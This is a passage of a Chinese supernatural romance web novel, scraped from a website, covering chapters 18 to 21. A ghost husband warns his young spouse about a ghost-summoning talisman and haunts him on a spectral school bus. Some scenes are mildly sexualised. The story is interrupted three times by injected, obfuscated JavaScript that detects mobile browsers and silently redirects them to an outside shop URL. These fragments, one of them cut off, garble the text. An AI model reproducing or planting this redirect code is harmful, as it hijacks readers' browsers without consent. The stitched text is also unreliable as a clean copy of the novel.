刚才还坐在他旁边的贺恂夜不见了。 谈雪慈连忙起身,到处都没看到,直到路过的病人朝他投来怪异眼神,他才突然想起来,对了,贺恂夜也是他的幻觉。 他吃了药,贺恂夜也会一起消失。 陆栖拿着药过来的时候就看到谈雪慈又在张望,那个神情跟他之前发现老公不见了一模一样,心里就咯噔了下。 该不会又看到那死鬼老公了吧。 死都死了,阴魂不散。 陆栖在心里骂骂咧咧,但最后还是心酸地开车将人送到贺家。 谈雪慈好久没回来了,他将贺恂夜的牌位从小书包里取出来,放到遗照旁边,遗照上的男人笑眼温柔,刚刚还在跟他说话。 谈雪慈呆呆地坐了一会儿,卧室门突然被人敲响,他起身去开门,就见管家满头大汗,气喘吁吁地站在他门口。 就像被鬼撵着跑了八百米一样。 谈雪慈迷茫问:“怎么了,伯伯。” 管家皱巴巴的老脸上硬挤出个笑,看起来命很苦的样子,跟谈雪慈说:“抱歉,小慈少爷,按道理婚后您能分到大少爷的部分遗产,之前忘记给您了,您收好。” 他说着,忙不迭递给谈雪慈一张银行卡,上面还贴了个便签,写着密码,字迹遒劲有力。 18.多个老公多个家 分个鬼的遗产。 管家那张老脸上卑微谄媚的表情都快撑不住了,他刚才躺下正打算睡觉,还没闭上眼,就被一只阴气浓重的鬼手掐着脖子拖下床。 对方掐着他皮肉松垂的脖颈一直往外拖,他嘴里嗬嗬冒血,拼着老命憋出一句,“救……” 能不能不要虐待老人。 他也没说他不愿意帮忙啊,想让他干什么就不能直接告诉他吗?! 对方什么都没说,大概是不能开口说话,鬼祟大多口不能言,或者发出的都是诡异含糊的语调,除非是强大的恶鬼才能肖似人类。 管家还想挣扎,脖子上的鬼手却放开了,然后扔给他一张卡,地上黑色的血迹蜿蜒,勉强能看出是两个字,遗产。 什么遗产? 管家没懂,眼看那鬼手又要掐上来,突然听到外面一阵小猫一样咚咚咚的脚步声。 是谈家那个小孩。 贺家老宅很大,家主跟夫人都住在主楼,他是贺乌陵的管家,本来也在主楼住,谈雪慈来了以后,他才暂时被安排到这边。 谈雪慈刚来贺家时不敢出门,走路也静悄悄的没有一点声音,他尽量让自己没有存在感,怕给别人添麻烦,也怕被人讨厌。 待了几天,发现这栋楼好像除了他,只有管家跟一两个佣人,而且管家他们经常不在,他就从悄无声息变成了小声咚咚咚跑来跑去。 管家听着小夫人咚咚咚的脚步声,突然福至心灵,捂着脖子大喊,“知道了!” 那只鬼手渐渐消失。 …… 谈雪慈看着那张卡,迟疑了下不敢接。 “以后每个月我都会往卡上给您打三万块钱,”管家补充说,“不够花,您就跟我说。” 谈雪慈并不习惯别人对他好,也没人给过他零花钱,脑子一片空白,最后小脸憋红了,只无措地憋出一句,“谢谢。” “不敢不敢。”管家差点跪下磕一个。 贺家其实并没有亏待谈家,定下婚约以后,贺乌陵就往谈父账上转了一千万。 除此之外,还给了谈家三处商铺,许多古董玉器,彩礼折算下来怎么也有五千万。 更何况贺家跟谈家联姻的事对外并没有隐瞒,只是没说到底谁跟谁联姻而已。 谈家跟贺家攀上关系,其他人都会给谈父三分薄面,谈父这段时间生意做得风生水起,成天带着谈母出入各种晚宴,俨然上流人士。 他怎么知道谈家收了这么多钱,一分都没给谈雪慈,让谈雪慈自己出去捡垃圾! 管家擦了擦额头冷汗,叹了口气离开。 谈雪慈小心翼翼地捧着那张卡,虽然不知道有多少钱,但头一次觉得结婚真好。 甚至觉得,如果他老公还在就好了,但贺恂夜要是还活着,大概不会愿意当他老公,也不会像梦里那样喜欢他。 谈雪慈趴在床上,雪白的侧颊挤出一点软肉,呆呆地想,应该是有点喜欢他吧。 经常抱他呢。 他想不出自己有什么好喜欢的,就没再想了,再想就要难过了,他拿出手机开始刷视频。 自从上次手机里闹鬼,一直往外冒血,他好几天都没敢多看,点开才发现之前那个喜欢听情感大师节目的病友给他转发了新视频。 谈雪慈咬着手指聚精会神地看,西装革履的情感大师正在口若悬河,侃侃而谈。 “多个老公多个家,多个老公多张卡。” “要想不在婚姻里吃亏,就要记住这一点,男人什么时候最帅,给你花钱的时候最帅。” “男人还是老的好,死得快,走得早……” “……” 旁边气息逐渐阴凉。 谈雪慈听得目不转睛,在心里直呼大师我悟了,他还想继续听,好好靠在枕头上的手机却突然被人推了一把似的,啪的一声倒下来。 谈雪慈被吓了一跳,马上条件反射翻身起来,还以为又来了鬼。 卧室却很安静,只有贺恂夜的遗照阴沉如水,什么鬼都没有,他嘀嘀咕咕地转过去,继续跪趴在床上玩手机。 他习惯很不好,从小到大什么都没人教,在家谈父谈母不喜欢看到他,他只能尽量活得无声无息,晚上也不敢开灯,到了外面也忘记自己原来是可以开灯的,就经常摸黑玩手机。 现在倒没有摸黑,但他撅起屁股跪在床上,姿.势一看就很不乖。 谈雪慈迷迷糊糊听了一会儿,大师很催眠,他听着听着就保持这个姿.势睡了过去。 少年塌下去的腰极其薄瘦,感觉一只手就能掐过来,身上的肉好像都长在了那处浑圆挺翘的地方,偏偏肤色又很白,常年被挡住的地方恐怕更加白得像两团又软又腻的雪。 谈雪慈在睡梦中觉得有点冷,好像有什么湿冷黏腻的吐息像蛇信一样靠近,他就窸窸窣窣地躲到了被子底下。 那阴冷的呼吸却像没感觉到他的抗拒似的,缓缓垂下头,隔着被子埋上去深吸了一口气,才如雾一样消散在夜幕里。 他一觉睡了三个多小时,是被饿醒的,在床上懵懵地坐了一会儿,才想起来没吃晚饭。 陆栖很忙,今晚没带他吃饭,他本来想回家吃,结果管家突然给他卡,他就忘了吃饭这回事,现在才想起来。 他将卡收好,起身出去找东西吃,已经晚上十二点多,所有人都睡了,他小心翼翼地推开门,站到走廊时总觉得不太对劲。 他后背有点发凉,但回头看了看,却什么都没有,他松一口气,转过去正要往前走,冷汗就瞬间湿透脊背,差点惊叫出声。 左前方那扇门里突然探出一颗血淋淋的肿胀头颅,对方生前给自己养得很白净,但现在脸上已经成了奇怪的灰紫色,爬满尸斑。 是徐宗度。 对方骨碌碌地滚出来,他才发现那东西没有身体,只有一颗头。 那颗头朝他飞了过来。 谈雪慈猛地攥紧胸口的符袋,他不是被吓到会惊慌失措一直惨叫的类型,他被吓到反而发不出声音,除非被吓得特别狠。 他眼眶湿红了一点,嘴唇颤抖,嗓音很低,喃喃地叫了声老公,然后转身就跑,却连腿都没迈开,就撞到男人宽阔结实的胸膛里。 贺恂夜将人揽在怀里,他漆黑的桃花眼狭长阴郁,半张脸都笼罩在走廊昏暗的阴影里,带着沉压压的冷意,男人苍白削瘦的腕骨上戴着串佛珠,掌心燃起一簇浓红发黑的火焰,将那颗人头裹住,片刻就烧了个干净。 黑沉汹涌的火舌起起伏伏,像从地狱而来的烈火,映亮了两个人的脸。 谈雪慈看得呆住,突然想起灵堂那个晚上纸人也都被烧掉了,管家说他在做梦,真的是梦吗……他被贺恂夜揽着肩膀,仰起头正想说话,就听到有急匆匆的脚步声朝这边走来。 贺乌陵大步流星,身后带着管家跟几个佣人,手上还拿着把雷击桃木剑。 他神情肃穆锐利,低头看到地上的灰烬,就皱眉问谈雪慈,“孽畜在哪儿?” 谈雪慈不知道他在说谁,但手心微微冒汗,将贺恂夜往身后挡了挡。 他细微的动作没躲开贺乌陵的眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938506|191614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺乌陵沉下脸望向他身后的虚空,他看不到,但那里应该有东西。 他这个逆子向来不服管教,而且死前怨气滔天,死后恐怕会化为恶鬼。 人就是人,鬼就是鬼,就算贺恂夜生前是他儿子,死后也只是恶鬼而已。 贺恂夜自小天赋出众,在所有同辈,甚至整个贺家里都是佼佼者,这样的人成了鬼祟也必定比寻常鬼祟更强大。 贺家作为风水界之首,他身为家主,不可能任由恶鬼作祟,但想彻底除掉贺恂夜又很难,他就决定饲鬼,将恶鬼养在自己手下。 谈雪慈就是他给恶鬼准备的供品,恶鬼接受了他的供品,就要为他所用,受他管制,不能肆无忌惮地出去害人。 其实直接上供就可以,但贺恂夜向来忤逆,头七回魂夜不一定愿意回家,他只能给贺恂夜结了阴亲,把他强召过来。 他的妻子在这里,他不回家还能去哪儿? 但他怎么样也没想到,贺恂夜竟然没吃掉谈雪慈,谈雪慈八字纯阴,对鬼祟来说是可口佳肴,按道理任何鬼祟都抵不住这种诱惑。 还好他另有准备,他布下三阴阵,重新上供,这个阵法需要一个阵眼,也就是八字纯阴的供品,另外还需要两个阴气重的人一起守灵。 张春平跟江恒以为自己是阳气重才被雇来的,其实恰恰相反。 这个阵法能催发恶鬼的凶性,谁知道贺恂夜杀了张春平跟江恒,仍然没对谈雪慈下手。 到底想干什么。 贺乌陵面色阴沉,胸口起伏不定,连手上冷绿色的扳指都差点捏碎,想到自己长子风流成性的嘴脸,就气不打一处来。 早知道不给他找这么漂亮的。 搞不好真的看上人家了。 恶鬼是不通人性,但一顿饱跟顿顿饱应该还是分得清的,饿了可以吞几个孤魂野鬼,能搂能抱的老婆却只有一个。 贺乌陵本来想从长计议,刚才却突然感觉到家中进了鬼祟。 贺家风水通达,不可能有鬼怪作祟,那个鬼肯定是贺恂夜故意放进来的,居心叵测。 贺乌陵脸上笼罩着一层寒霜。 恶鬼当诛。 但现在还不是时候。 “我再跟你说一遍,”贺乌陵眉头冷冷拧紧,举起雷击桃木剑指着谈雪慈说,“不想死,就记住人鬼殊途,鬼祟的话一句都不能信。” 他之前是想用谈雪慈的命去救其他人,毕竟死一个总比以后恶鬼大开杀戒更好,但饲鬼行不通了,他也不想再看谈雪慈无辜送死。 毕竟是他害得谈雪慈被恶鬼纠缠,他应该负起责任,保住谈雪慈的性命。 谈雪慈晕乎乎的,感觉很多东西平滑地经过了脑子,一句都没听懂,直到贺乌陵又冷着脸带人离开,他还没反应过来。 什么人鬼殊途。 精神病吧。 贺恂夜从身后弯腰抱住他,下颌抵在他肩头,冰冷的气息将他束缚起来。 谈雪慈突然被人拥入怀中,对方的身体其实死气沉沉毫无温度,但他心脏却突兀地跳了一下,浑身控制不住热了起来,雪白的耳根也透着红,他眼巴巴地回过头。 恶鬼勾起唇,有点懒洋洋的,冰冷手指从谈雪慈领口探入,带起一片颤栗。 谈雪慈想躲,又觉得贺先生应该不是故意的,硬是忍住没动。 贺恂夜手指在他胸口摩挲了下,勾出那根红绳,还有底下的符袋,语气温柔缱绻,但莫名让人背后发凉,咬他耳朵说:“我早就想问了,小雪为什么把招鬼符带在身上呢?” 19.招鬼符 谈雪慈后颈蓦地一凉,招鬼符?他摸到里面有粉末一样的东西,不是贺恂夜的骨灰吗? 但他现在有点没办法思考,贺恂夜的手没完全拿出去,他卫衣领子本来就很宽大,被撑开了一点,低头就能看到雪白单薄的胸口。 谈雪慈耳根红到滴血,想让贺恂夜把手拿走,但明明被看光了的是他,他反而不好意思开口,眼底都漫上水汽,也不好意思去捂,他顶着通红的脸,转过头看了贺恂夜一眼。 贺恂夜好像才意识到什么似的,恶鬼慢条斯理地将手拿出去,很绅士地说:“抱歉。” “没……没关系。”谈雪慈小声说。 贺恂夜拿着那个符袋,凑到他耳边,殷红的唇牵开,蛊惑似的说:“小雪,摘掉吧?” 谈雪慈脑子里很乱。 贺乌陵给他招鬼符干什么? 他索性将符袋拆开看了看,里面确实有一小块没烧干净的黄色符纸,还有燃烧后的符灰。 谈雪慈头皮瞬间发麻,伸手就想摘下来,然而对上贺恂夜苍白俊美到不像人类的脸,还有眼底若隐若现的血红,却又顿了顿。 贺恂夜低头蹭他鼻尖,“怎么了,小雪?” 谈雪慈被蹭得面红耳赤,但后背却僵硬紧绷,忽然有种很莫名的感觉。 如果骗他的是贺恂夜呢? 符纸有很多种,烧成这样已经完全认不出来了,也不一定……就是招鬼符吧? “不摘也没关系,”贺恂夜视线从他发白的脸颊上扫过,似乎看出了他的犹豫,安慰说,“应该在你接过去的时候就碎了,那些鬼本身还是你自己阴气太重招来的。” 谈雪慈愣了下,问:“为什么?” 他好像也没做什么会让符纸失效的事。 “小雪,”贺恂夜漆黑眸子很温柔地望向他,戳了戳自己小妻子软乎乎的脸颊,问他,“你这段时间有发现什么不对劲的事吗?” 谈雪慈皱起眉,确实有,最奇怪的就是以前那些鬼碰不到他,顶多吓唬吓唬,但最近的鬼攻击性很强,甚至能碰到他,像那个鬼婴。 好软。 感觉咬上去也会很软。 贺恂夜垂下眼,眸色晦暗又黏腻,盯着谈雪慈雪白雪白的一小块颊肉,语气也低哑呢喃似的,说:“你身上有相冲的东西,这个符纸阴气很重,两相抵消,符纸就失效了。” 谈雪慈突然想起件事,他其实在六岁之前都没有名字,家里人都叫他小乖。 妈妈送给他那个小羊玩偶,也说希望他能当个像小羊羔一样乖的孩子。 直到六岁那年,有个云游四方的老和尚经过谈家,给他写了个慈字,他爸爸拿着这个慈字去请高人取名,他才有了谈雪慈这个名字。 他虽然学写字慢,但记性其实很好,从出生几个月到现在的所有事他记得。 当时妈妈很久没理他,也没抱过他,只有那天是妈妈牵他的手,带他出去的。 在他六岁之前,鬼怪都能碰到他,就像他第一次撞鬼,在妈妈床底下看到的那颗人头,就一直在骨碌碌地撞他小腿,六岁那年有了名字以后虽然还是能看到,却碰不到他了。 谈雪慈还见过有个鬼想咬他咬不到,气得把脑袋直接拔了下来,吓得他当晚就发起高烧。 这几年那些鬼离他越来越近,凶性也越来越大,肉眼可见的垂涎,但还是碰不到他,直到那天晚上贺家迎亲的纸人。 “那个慈字应该是一种护身咒,至刚至阳,”贺恂夜深邃的眼窝陷在走廊的昏暗阴影中,“十几年来效力逐渐减弱,然后被那张阴气浓重的符纸彻底冲散了,所以没办法再保护你。 “至于纸扎人,不完全算阴物,因为只是纸扎的人偶而已,能碰到你很正常。” 谈雪慈呆了呆。 不算纸扎人的话……那就真的是贺乌陵给了他符袋以后,那些鬼才开始能碰到他。 “摘掉吧,”贺恂夜扶着他的肩膀,让谈雪慈转过来面对他,然后将人抱到怀里,用嘴唇在他发顶蹭了蹭,问他,“小雪不相信我吗?” 他语气有些哀怨,好像谈雪慈做了很过分的事情一样。 谈雪慈连忙摇头,说:“不……不是的。” 贺恂夜将他抱得很紧,谈雪慈埋在贺恂夜的胸口,手指蜷了下,一开始不太敢,但是见贺恂夜没有躲开的意思,忍不住伸手抱住了男人的腰,然后仰起头眼巴巴地望向对方。 他们的距离太近了,呼吸都缠绕在一起,贺恂夜只要稍微低下头,就能亲到他的鼻尖。 谈雪慈脸红了一点,呐呐地说不出话,男人的怀抱不够温暖,但是很宽阔,温柔到让人想扑到对方怀里就不离开。 要摘掉吗? 谈雪慈心跳有点快。 不知道为什么有点害怕,但是不摘掉,又怕贺恂夜会生气。 会不理他吗? 以后是不是就见不到了。 谈雪慈咬住嘴唇,鼻尖跟眼圈都红了一点,贺恂夜望着他渐渐濡湿的睫毛,很温柔体贴地说:“没关系,反正已经没用了,戴不戴都一样,小雪害怕的话,戴着也可以。” “老公,”谈雪慈圈住贺恂夜,抬起头看着他,小声问,“你生气了吗?” 贺恂夜沉下脸时是冰冷俊挺的长相,然而偏偏长了双多情散漫的桃花眼,很容易给人被偏爱的错觉,他说:“没有,我不会生你的气。” 谈雪慈还在纠结。 贺恂夜却似乎真的不在意那个符袋了,还问他,“小雪刚才出来是打算去干什么?” 谈雪慈:!吃饭! “回去吧,”贺恂夜说,“许管家会来送饭。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16943391|191614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈雪慈小脸茫然,他都没有跟管家伯伯说,管家伯伯怎么知道呢,但贺恂夜揽住他的肩膀,就将他往卧室带,谈雪慈只好跟着走。 刚坐下半个小时,走廊就响起匆匆的脚步声,管家穿了身黑色的中式长衫,像从坟头里刚蹦出来的封建遗老,端着个餐盘,堆起笑跟谈雪慈说:“小慈少爷,有点匆忙,来不及做别的了,这是晚上卤的牛肉,又给您煮了碗面。” 谈雪慈咽了咽口水,卤牛肉软烂入味,煮的细挂面也加了云腿跟小油菜,管家还给他泼了一点油辣椒,看着就很有食欲。 他在家没什么好东西吃,之前陆栖带他去吃了一次麻辣烫,他才发现自己很喜欢吃辣,现在几乎每顿饭都会加油辣子。 管家拿着托盘,恭敬地倒退出门。 等管家走了,贺恂夜在谈雪慈对面坐下来,将筷子递给他说:“吃吧。” 谈雪慈确实饿了,他低头吃了几口面。 贺恂夜垂眸盯着他的唇。 谈雪慈肤色很白,衬得唇色嫣红饱满,舌头更红,而且很软,还很敏.感,被含住就会乱动,像在主动舔一样。 谈雪慈吃了几口,忽然想起什么,抬起头眼巴巴地问:“老公,你不吃吗?” 他将筷子递给贺恂夜,又想起来自己已经吃过几口了,不知道贺恂夜会不会介意,他无措地小心翼翼看向贺恂夜。 贺恂夜欲言又止,看了一下牌位前的案台,又看了一眼自己埋头哐哐吃的小妻子。 吃什么。 又忘记给他上香了。 “老公不吃,”贺恂夜眉眼在灯下很晦暗,似乎笑了下,说,“你吃吧。” 谈雪慈这才低头继续吃,边吃边想,待会儿就要睡觉了,不知道能不能让贺恂夜留下陪他,这样是不是不太好啊。 谈雪慈自顾自地红了脸,但是他们已经结婚了,应该一起睡也没关系。 他还没想好该怎么开口,然而吃了半碗面,再抬起头时已经贺恂夜不见了。 “……” 谈雪慈愣了下,看着对面空空荡荡的椅子,睫毛一点一点耷拉下来。 感觉面都变得不好吃了。 但他不挑食,也不浪费食物,尽管没胃口,还是把剩下的都吃干净才放下碗。 他耷拉着小脸,闷闷地去洗澡,又闷闷地钻到被子里,看着贺恂夜的牌位跟空荡荡的香炉,觉得好像忘了点什么,又想不起来。 他已经不害怕贺恂夜的牌位了,就算摆在他旁边,他也能睡着,半夜起来都不会怕。 他小声说了句晚安,就闭上眼睛。 深夜,万籁俱寂,谈雪慈搂着他的小羊睡得呼呼,旁边的黑影逐渐凝聚成形。 “真坏,”黑影嗓音含糊低哑,埋在他雪白的脖颈间,低声说,“吃点别的吧。” 20.鬼校 谈雪慈做了一晚上鬼压床的梦,感觉有什么沉重的东西压在他身上,还企图往被子里钻,冷得他直哆嗦,而且怎么也推不开。 他起来时整个人晕乎乎的,揉着眼睛去洗漱,然后对上镜子忽然一愣。 他肤色很白,稍微揉红一点就很明显,现在颈侧有片红痕,像雪地上的山茱萸一样扎眼。 谈雪慈茫然地伸手去摸,也不疼,非要说的话,像是被人又吮又舔给吸出来的。 他打了个哆嗦,没再胡思乱想,应该是他不小心揉的吧,卧室里又没有其他人。 还好这个位置靠近锁骨,衣服能稍微挡住。 现在是九月末,天气还没有彻底转凉,但他身体差很怕冷,所以一直在穿长袖卫衣。 谈雪慈在贺家待了几天,没再见到鬼,他觉得可能是解医生开的新药很管用,才吃了几天病情就已经好转,毕竟花了三千多块钱呢。 剧组还没消息,但金曜娱乐是娱乐圈龙头,老板徐宗度暴毙,死状凄惨,就算警方刻意控制消息,外面也已经闹得沸沸扬扬。 翟放那边彻底慌了神,剧组当天可能有狗仔在偷拍,正好拍到了剧组其他人挨个离开现场,只有翟放被留到最后。 本来就有几个营销号一直在说他跟徐宗度有包养关系,这下更时不时就冒出几条微博。 什么二字男明星被某某某包养,疑似威胁金主结婚不成功,于是激情杀人。 翟放气得发狂,谁他妈想跟那个死猪妖结婚,他这些年忍辱负重,就是想红而已啊。 老板都死了,金曜娱乐的公关部对他也没之前上心,还好翟放自己有工作室。 只是他的工作室没那么强的能力,一时间也想不出什么好办法,只能故技重施,又把脏水都泼给了谈雪慈。 翟放让人放出了一段谈雪慈跟徐宗度对戏的视频,故意剪得暧昧不清,什么对视,低头笑,刁钻角度看起来像两个人碰到了手。 谈雪慈出道没多久,本来粉丝基础就不牢固,就被翟放接二连三踩到泥里,名声已经烂透了,不管说什么都有人信。 【我只想说吃点儿好的吧。】 【难怪他能进《纠缠》剧组,这剧男主是闻遥川诶,居然能轮到他这种人演男三,原来是背后有金主爸爸。】 【小道消息,我还听说他是贺睢前男友。】 贺睢名校毕业,家世显赫,长相优越,他的履历无论放在什么地方都很漂亮,过去的二十一年里无数光环加身。 而且他对前任向来不错,不谈的时候身边会有情人,谈了就会断掉,给分手费也很大方。 他的前任只有对他不舍的,从来没有背地里说他坏话的,既然这样,他为什么对谈雪慈那么冷漠厌恶,就很耐人寻味。 【敢不敢赌,他肯定是出轨徐宗度,被贺少发现才踹了他的。】 谈雪慈都快被骂烂了,从柔软蓬松的小面团变成被人戳扁了的小面饼。 陆栖让他把微博卸了,什么都别看,但谈雪慈在别的地方也能刷到。 谈雪慈很在意粉丝,喜欢他的人很少,他每一个都很珍惜,尤其粉丝永远不吝夸奖,他长这么大,从来没听过有人这么热烈毫无保留地夸赞他,他其实很喜欢当演员。 之前有人假装粉丝说自己去世的爸,瘫痪的妈,他也信了,大概太缺爱,别人对他有一点好,他就能付出一切。 要是有人爱上了他,他大概情愿为对方赴汤蹈火,可惜并没有这种人。 别的他不在乎,看到有些脱粉回踩的,他其实很难过。 但没难过太久就该去剧组了,警方认定徐宗度在片场还活着,他的死跟剧组没有关系,所以剧组很快就重新开工。 谈雪慈到剧组时,就感觉大家神情都怪怪的,尤其翟放。 翟放脸色很灰败,不是之前那样垮脸,而是被吸走了精气一样,阴郁颓废。 谈雪慈对上翟放就愣了下,翟放背后的那个小女鬼之前很瘦弱,虽然脸色青白了点,但乍一看更像人类小孩。 现在却整个水肿起来,比之前肿了一倍,肿得太厉害,显得身高也比之前高很多,从翟放腰部左右,快到翟放的胸口了,脸色极其惨青,像鬼片里幽青的鬼脸。 “怎么了,小慈,”闻遥川见谈雪慈脸色不对,就神秘地低声问,“你看到什么了吗?” 谈雪慈欲言又止,他以前看到什么东西,提醒别人,几乎每次都会挨骂,甚至差点挨打,头一次碰到这样主动追问的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16948033|191614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他瞧了闻遥川一眼,最后还是闷头没说。 闻遥川练拳击的,他打不过。 翟放精神状态不好,拍戏总是在走神,几次下来导演脸色也不太好看。 之前有徐宗度在,他总是忍着翟放,现在徐宗度死了,他火气蹭蹭涨。 最后还是闻遥川开口阻拦,说:“这段时间剧组很多风波,等晚上拍完,我请大家吃饭吧,给大家压惊。” “闻老师,”导演火气顿时下去一半,讪笑说,“这怎么好意思。” 闻遥川不在意,“客气什么。” 他经常请剧组吃饭,能混到娱乐圈顶层,大部分人情世故是不会差的。 他都这么说了,其他人当然不会拒绝。 闻遥川还跟谈雪慈说:“小慈也去吧,上次就想请你们吃火锅,没吃成,这次补上。” 谈雪慈不太想去,贺恂夜说他身上戴着的是招鬼符,他心里就一直惴惴的。 晚上出门比白天危险多了,但陆栖让他学着点闻遥川,别出来这么久了,还像个小吗喽一样,融不入人类。 他最后还是答应下来。 这次闻遥川吸取教训,提前找餐厅订了包厢,没再出事,吃完饭出去已经晚上十点多了,翟放背上驮着那个巨人观一样柔软膨胀的小女鬼,谈雪慈一直离他很远。 他也没敢打车回酒店,按他这么多年的经验,万一司机是鬼,那就完蛋。 除了鬼经纪人那次,他之前也碰到过,上了车越走越偏,他小心翼翼问司机位置,司机却往三叉路口开,说你不是要去殡仪馆吗。 谈雪慈吓得小脸陡然苍白。 但也许贺恂夜说的护身符是真的,那个老和尚在他手心写的慈字真的管用,他说要下车,鬼司机就把他放下去了,并没有出事。 谈雪慈心有余悸,决定坐公交回家,他远远看到车灯,还没看清楚是几路,忽然有只湿润冰冷的小手在他背后推了一把。 谈雪慈踉跄了下,再抬起头有点恍惚,他要去什么地方来着。 他低头看了看,自己身上穿着蓝白校服,对了,他该去学校了,破旧的校车开来,停在他旁边,谈雪慈直直走了上去。 在他背后,若有若无地一声低叹。 21.坏孩子 已经晚上十点半,但校车上人很多,几乎都坐满了,只有最后一排留了个空位。 “那位同学,”有个戴着陈旧红色袖章的老师开口,“赶紧坐好,要开车了。” 谈雪慈向来听话,而且他没去学校里上过学,对老师有种天然的敬畏,他连忙背着书包乖乖去最后一排并住腿坐好。 抬起头对上老师乌沉发灰的脸,还有齿缝里黑漆漆的血迹,他嗓子莫名发紧。 校车缓缓开动了,车上至少有三十多个学生,都穿着蓝白校服,垂头沉默,没有说话。 谈雪慈也不敢说话,大概十几分钟后,车停在了嘉禾私立中学门口。 学生们鱼贯下车,谈雪慈也走在最后下去,他觉得自己好像来过这个地方,不对,他是这个学校的学生,当然来过。 但为什么总觉得后背发凉呢? 学校里几栋教学楼都黑漆漆的,已经这么晚了,学生们没回宿舍睡觉,反倒往教学楼走去,看样子是要上课。 谈雪慈彻底呆住。 怎么办,他不知道自己是哪个班的。 “喂,”刚才那个齿缝里都是黑血的老师指着谈雪慈,面容在惨白的灯光底下扭曲发青,“你怎么不去上课?你想逃课?!” “我……”谈雪慈无措地说,“我没有……” 总觉得自己不去上课,就会被对方活活吞掉,他赶紧跟在其他学生后面走,不管不顾找了个教室就坐进去。 他雪白的脸颊毫无血色,手心也都是冷汗,抱着书包坐在教室倒数第二排。 黑板旁边挂着个牌子,鲜红鲜红的倒计时,距离高考还有三十天。 谈雪慈没上过学,对高考没什么概念,但此刻教室里沉寂又肃穆,只有哗哗的翻书声跟笔尖在纸上的摩擦,让他也莫名紧张。 直到老师拿着一摞卷子走了进来。 他们的老师是个身材很高大的男人,穿了身挺拔昂贵的黑西装,衣冠楚楚,教室里没开灯,映着月光,对方唇色有种鬼气森森的殷红,就算噙着笑,也给人一种很不安的感觉。 “这节课我们讲三模考试的卷子,”老师温和开口,“课代表来发一下。” 坐在第一排的一个女生站了起来,沉默地接过卷子,挨个发放。 “马上就要高考了,”老师说,“这次模拟考大部分同学的成绩都很不错,只有一个小小的意外,我们班有个同学是零分。” 谈雪慈没注意听老师在讲什么,他接过卷子,小脸上就一片空白。 看不懂,他连模拟考试这几个字都不认识。 他漂亮的小脸皱起来,正在仔细看,忽然感觉教室里气氛不对,抬起头就被吓了一跳,全班人都在扭过头看他。 黑压压的教室每张脸都很青白。 老师也正撑着讲台,微笑望向他,重复说:“我们班只有谈雪慈同学,每一科都是零分。” 同学们沉默凝视着他,谈雪慈冷汗沿着雪白纤细的脊椎往下淌,忍不住咽了咽口水,好像……好像成绩差是很过分的事。 他这么笨的吗? 一道题都没做对。 就在班上同学面目扭曲,感觉要一起扑过来咬他的时候,老师忽然又开口了,很温柔宽慰地说:“但老师相信他不是故意的,对吗?小雪下次会考一百分,是不是?” 男人语气温柔到有点过分了,不像老师对学生,倒像在安抚妻子。 谈雪慈听不出其中的差别,他连忙点了点头,表示自己下次会考一百分。 然后似乎听到一声轻笑。 他茫然抬头看向讲台,男人俊美的脸上没有多余的表情,仍然很为人师表的样子,说:“好,既然这样,老师就讲课了。” 老师开始给他们讲解卷子,底下同学仍然都很安静,但每个都在认真听。 桌子左上角放着一摞书,谈雪慈随手拿起一本,是高中生物,什么神经纤维膜外离子浓度对膜电位的影响。 他皱起眉煞有介事地研究,实际上知识光滑地经过了大脑。 只认得神经两个字。 书上字迹娟秀,笔 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什么? 让他写什么? 好多横横竖竖叉叉。 谈雪慈眼睑红了起来,包着泪,根本不敢上台,小声怯怯说:“对……对不起,我不会。” “不是说老师讲得很好吗?”男人语气幽怨,“为什么不会呢,还是小雪没有好好学习?” 被老师责怪没有好好学习,对高中一些混不吝脸皮厚的男生来说无关痛痒,但是对小学都没上过,而且很乖的谈雪慈来说,他眼泪几乎都要出来了,手指紧张地揪住衣角。 “不好好学习,”恶鬼拿起教鞭,冰冷的鞭头抵在他凹陷的锁骨窝上,将他衣领拨开一点,露出底下雪白的肌肤,已经过去了好多天,但上面嫣红的吻痕仍然扎眼,“还要早恋。” 男人漆黑的桃花眼眸色幽深,唇角似乎抬了抬,责备他说:“坏孩子。”